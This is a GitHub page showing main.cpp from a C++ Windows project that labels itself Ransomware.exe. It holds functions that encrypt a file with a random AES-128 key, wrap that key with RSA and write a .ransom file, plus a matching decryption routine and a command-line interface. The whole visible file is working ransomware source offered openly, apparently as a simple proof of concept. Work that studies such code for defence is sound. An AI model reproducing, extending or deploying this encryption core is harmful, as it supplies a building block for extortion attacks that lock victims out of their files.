-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathmain.cpp
More file actions
281 lines (235 loc) · 6.12 KB
/
main.cpp
File metadata and controls
281 lines (235 loc) · 6.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
#include "includes.hpp"
BOOL DeRansomFile( const char* szFileName )
{
BOOL bResult = FALSE;
PBYTE pbCiphertextFileData = nullptr;
DWORD dwCiphertextFileDataLen = 0;
PBYTE pbDecryptedFileData = nullptr;
DWORD dwDecryptedFileDataLen = 0;
PBYTE pbDecryptedAESKey = nullptr;
DWORD pbDecryptedAESKeyLen = 0;
BYTE pbCiphertextKeyData[ 0x100 ]{ };
DWORD dwCiphertextKeyData = sizeof( pbCiphertextKeyData );
BYTE pbKey[ 16 ]{ };
DWORD dwKeyLen = sizeof( pbKey );
BYTE pbIV[ 16 ]{ };
DWORD dwIVLen = sizeof( pbIV );
HANDLE hFile = nullptr;
//
// Read file from disk
//
bResult = ReadFileToByteArray( szFileName, &pbCiphertextFileData, &dwCiphertextFileDataLen );
if( !bResult )
{
printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
goto Exit;
}
{
//
// The RSA ciphertext containing our AES key is file begging + IV length
//
memcpy( pbCiphertextKeyData, pbCiphertextFileData + dwIVLen, dwCiphertextKeyData );
bResult = RSADecrypt( pbCiphertextKeyData, dwCiphertextKeyData, &pbDecryptedAESKey, &pbDecryptedAESKeyLen );
if( !bResult )
{
printf( __FUNCTION__ " -- RSADecrypt failed!\n" );
goto Exit;
}
//
// The decrypted length should match the AES-128 blocksize 16 bytes
//
if( pbDecryptedAESKeyLen != dwKeyLen )
{
printf( __FUNCTION__ " -- Invalid AES key!\n" );
goto Exit;
}
//
// The IV is the file first 16 bytes, we extract that
//
memcpy( pbIV, pbCiphertextFileData, dwIVLen );
//
// We have the decrypted AES key, lets copy to the pbKey buffer.
//
memcpy( pbKey, pbDecryptedAESKey, dwKeyLen );
//
// dwTotalCount is the sum of IV Len + RSA cipher key length, leading to the block with the actual file data encrypted.
//
const DWORD dwTotalCount = dwIVLen + dwCiphertextKeyData;
bResult = AESDecrypt(
pbCiphertextFileData + dwTotalCount,
dwCiphertextFileDataLen - dwTotalCount,
pbKey,
dwKeyLen,
pbIV,
dwIVLen,
&pbDecryptedFileData,
&dwDecryptedFileDataLen
);
if( !bResult )
{
printf( __FUNCTION__ " -- AESDecrypt failed!\n" );
goto Exit;
}
//
// Create a .clean file with the decrypted data
//
char szNewPath[ MAX_PATH ]{ };
strcpy_s( szNewPath, szFileName );
::PathRemoveExtensionA( szNewPath );
strcat_s( szNewPath, ".clean" );
hFile = ::CreateFileA(
szNewPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if( !hFile || hFile == INVALID_HANDLE_VALUE )
{
bResult = FALSE;
printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) );
goto Exit;
}
DWORD dwWritten = 0;
::WriteFile( hFile, pbDecryptedFileData, dwDecryptedFileDataLen, &dwWritten, nullptr );
}
Exit:
if( hFile )
::CloseHandle( hFile );
if( pbDecryptedAESKey )
::HeapFree( ::GetProcessHeap( ), 0, pbDecryptedAESKey );
if( pbCiphertextFileData )
::VirtualFree( pbCiphertextFileData, 0, MEM_RELEASE );
if( pbDecryptedFileData )
::VirtualFree( pbDecryptedFileData, 0, MEM_RELEASE );
return bResult;
}
BOOL RansomFile( const char* szFileName )
{
BOOL bResult = FALSE;
PBYTE pbEncryptedAESKey = nullptr;
DWORD dwEncryptedAESKeyLen = 0;
PBYTE pbPlaintextFileData = nullptr;
DWORD dwPlaintextFileDataLen = 0;
PBYTE pbEncryptedFileData = nullptr;
DWORD dwEncryptedFileDataLen = 0;
BYTE pbKey[ 16 ]{ };
DWORD dwKeyLen = sizeof( pbKey );
BYTE pbIV[ 16 ]{ };
DWORD dwIVLen = sizeof( pbIV );
HANDLE hFile = nullptr;
//
// Read file from disk
//
bResult = ReadFileToByteArray( szFileName, &pbPlaintextFileData, &dwPlaintextFileDataLen );
if( !bResult )
{
printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
goto Exit;
}
//
// Generate crypto random IV and AES key
//
::BCryptGenRandom( NULL, pbKey, dwKeyLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
::BCryptGenRandom( NULL, pbIV, dwIVLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
{
//
// Encrypt the AES key first.
//
bResult = RSAEncrypt(
pbKey,
dwKeyLen,
&pbEncryptedAESKey,
&dwEncryptedAESKeyLen
);
if( !bResult )
{
printf( __FUNCTION__ " -- RSAEncrypt failed!\n" );
goto Exit;
}
//
// Encrypt the actual file
//
bResult = AESEncrypt(
pbPlaintextFileData,
dwPlaintextFileDataLen,
pbKey,
dwKeyLen,
pbIV,
dwIVLen,
&pbEncryptedFileData,
&dwEncryptedFileDataLen
);
if( !bResult )
{
printf( __FUNCTION__ " -- AESEncrypt failed!\n" );
goto Exit;
}
//
// Create the .ransom file
//
char szNewPath[ MAX_PATH ]{ };
strcpy_s( szNewPath, szFileName );
::PathRemoveExtensionA( szNewPath );
strcat_s( szNewPath, ".ransom" );
hFile = ::CreateFileA(
szNewPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if( !hFile || hFile == INVALID_HANDLE_VALUE )
{
bResult = FALSE;
printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) );
goto Exit;
}
//
// Encrypted file format order:
// IV -> AES RSA Encrypted Key -> AES Encrypted File Data
//
DWORD dwWritten = 0;
::WriteFile( hFile, pbIV, dwIVLen, &dwWritten, nullptr );
::WriteFile( hFile, pbEncryptedAESKey, dwEncryptedAESKeyLen, &dwWritten, nullptr );
::WriteFile( hFile, pbEncryptedFileData, dwEncryptedFileDataLen, &dwWritten, nullptr );
}
Exit:
if( hFile )
::CloseHandle( hFile );
if( pbEncryptedAESKey )
::HeapFree( ::GetProcessHeap( ), 0, pbEncryptedAESKey );
if( pbPlaintextFileData )
::VirtualFree( pbPlaintextFileData, 0, MEM_RELEASE );
if( pbEncryptedFileData )
::VirtualFree( pbEncryptedFileData, 0, MEM_RELEASE );
return bResult;
}
int main( int argc, char** argv )
{
if( ( argc > 1 ) &&
( ( *argv[ 1 ] == '-' ) || ( *argv[ 1 ] == '/' ) ) )
{
if( _stricmp( "e", argv[ 1 ] + 1 ) == 0 )
{
printf( "RansomFile returned %d\n", RansomFile( argv[ 2 ] ) );
}
else if( _stricmp( "d", argv[ 1 ] + 1 ) == 0 )
{
printf( "DeRansomFile returned %d\n", DeRansomFile( argv[ 2 ] ) );
}
else
{
goto Dispatch;
}
exit( 0 );
}
Dispatch:
printf( "Ransomware.exe -e [filepath]\tEncrypts a file.\n" );
printf( "Ransomware.exe -d [filepath]\tDecrypts a file.\n" );
return 0;
}